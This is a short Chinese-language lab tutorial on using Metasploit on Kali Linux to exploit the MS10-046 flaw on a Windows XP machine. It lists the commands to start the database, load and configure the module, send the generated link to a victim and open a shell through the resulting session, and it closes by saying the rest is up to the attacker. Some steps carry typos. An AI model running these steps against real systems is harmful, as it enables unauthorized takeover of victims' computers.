Kali点击一下就能中招！

实验背景

攻击者：kali linux
受害者：xp系统
使用漏洞：ms10_046
windows安全中心地址： https://docs.microsoft.com/zh-cn/security-updates/

更新msf

kali‘是一个软件更新很快的系统，每当你要使用你的kali的时候，要干的第一件事情就是更新你的kali。

apt-get update
.....
apt-get upgrade
.....
如果报错
apt-get upgrade --fix-missing

如果开msf的时候没有连接上数据库

service postgresql start 
service metasplot start
db_status

假如没有成功就输入 msfdb init,重复上面的并重启。
如果还是不行就再重复上面的步骤。

开攻

第一步

打开kali
然后打开软件 metasplotfromwork ,就是那个小盾牌一样的软件

然后再连接数据库后再终端搜索 ms10_046

msf5> search ms10_046

接着使用这个模块

然后配置这个模块

show options

上面的命令可以知道我们要设置哪些选项
ms10_046这个模块设置比较简单，只需要设置好自己的地址和使用的端口
因为我使用的内网环境，所以这里设置比较简单

set SRVHOST 192.168.212.153

设置好后就可以开始了

exploit

输入命令行后会生成一个连接，将这个连接发个受害者，然后只要受害这电脑有ms10_064这个漏洞，它点开就会被控制。

第二步

受害者中招后，我们就可以输入 sessions -l查看

确定中招后，就可以通过 sessions -i 加ID 来连接对方
然后shell打开对方终端，剩下的就凭你高兴了。。。。。

看文字不懂的可以再B站搜索用户“夜明二”，那里会后视频。